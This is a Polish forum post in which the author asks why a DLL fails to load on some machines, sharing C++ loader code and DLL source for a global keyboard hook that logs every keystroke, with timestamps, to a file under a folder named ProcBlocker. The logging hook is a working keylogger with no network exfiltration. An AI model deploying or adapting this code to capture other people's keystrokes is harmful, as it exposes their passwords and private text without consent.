Witam,
Napisałem program, którego jednym z zadań jest załadowanie biblioteki DLL. Poniżej kod ładujący bibliotekę DLL:
//Ladujemy biblioteke haki.dll
////////////
TCHAR path666[MAX_PATH];
SHGetSpecialFolderPath(NULL, path666, CSIDL_PROGRAM_FILES , FALSE);
CString folder1111 = path666;
CString folder2222 = "\\ProcBlocker\\haki.dll";
folder1111= folder1111 + folder2222;
////////////
typedef void (*pFun)();
HINSTANCE dllHandle = ::LoadLibrary(folder1111);
if(dllHandle == NULL)
{
this->MessageBox("Biblioteka haki.dll nie zostala zaladowana");
}
pFun pHak = (pFun)::GetProcAddress(dllHandle, (LPCSTR)"_UstawHak@0");
if(pHak == NULL)
{
this->MessageBox("Blad ladowania funkcji haka");
}
pHak();
Program ładuje bibliotekę poprawnie tylko na niektórych komputerach na których program był testowany. Na pozostałych maszynach program wywala błąd : Biblioteka haki.dll nie zostala zaladowana co oznacza, że uchwyt do biblioteki równy jest NULL.
Poniżej kod biblioteki DLL:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include "windows.h"
#include <time.h>
//uchwyt do biezacej biblioteki DLL
HMODULE uchwytDLL = NULL;
int licznik = 0;
int z = 0;
char buf1;
char buf2 = ' ';
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
uchwytDLL = hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//deklaracja procedury haka
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam);
//uchwyt do haka
HHOOK uchwytHaka = NULL;
//funkcja zakladajaca hak
extern "C" __declspec(dllexport) void __stdcall UstawHak(void)
{
uchwytHaka = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardHookProc,uchwytDLL,NULL);
if (uchwytHaka == NULL) MessageBox(NULL, L"Założenie haka nie powiodło się", L"KeyHook",MB_OK | MB_ICONERROR);
//else MessageBox(NULL, L"Założenie haka udało się", L"KeyHook", MB_OK | MB_ICONINFORMATION);
}
//funkcja usuwajaca hak
extern "C" __declspec(dllexport) void __stdcall UsunHak(void)
{
if (UnhookWindowsHookEx(uchwytHaka)) MessageBox(NULL, L"Usunięcie haka udało się", L"KeyHook", MB_OK | MB_ICONINFORMATION);
//else MessageBox(NULL, L"Usunięcie haka nie powiodło się", L"KeyHook", MB_OK | MB_ICONERROR);
}
/*
//pobrzekujaca procedura haka
LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)
{
if (code>=HC_ACTION)
{
if((lParam & 0x80000000)==0) Beep(150,50);
else Beep(50,50);
}
return CallNextHookEx(uchwytHaka,code,wParam,lParam);
}
*/
//procedura haka zapisujace naciskane klawisze
#include <fstream>
LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)
{
if (code>=HC_ACTION)
{
//zapis do pliku
std::ofstream txt("C:\\Program Files\\ProcBlocker\\LogiKlawiatura\\Klawisze.log",std::ios::app);
if(z == 0)
{
txt << "\n";
z = 1;
}
if ((lParam & 0x80000000)==0)
{
buf1 = (char)wParam;
if(buf1 != buf2)
{
txt << (char)wParam;
licznik = licznik + 1;
buf2 = buf1;
}
}
if(licznik == 50)
{
for(int j=0; j<10; j++)
{
txt <<' ';
}
char data[15];
_strdate_s(data, 15);
for(int i=0; i<8; i++)
{
txt << data[i];
}
for(int j=0; j<4; j++)
{
txt <<' ';
}
char czas[15];
_strtime_s(czas, 15);
for(int k=0; k<8; k++)
{
txt << czas[k];
}
txt << '\n';
licznik = 0;
}
txt.close();
}
return CallNextHookEx(uchwytHaka,code,wParam,lParam);
}
Proszę o pomoc</cpp>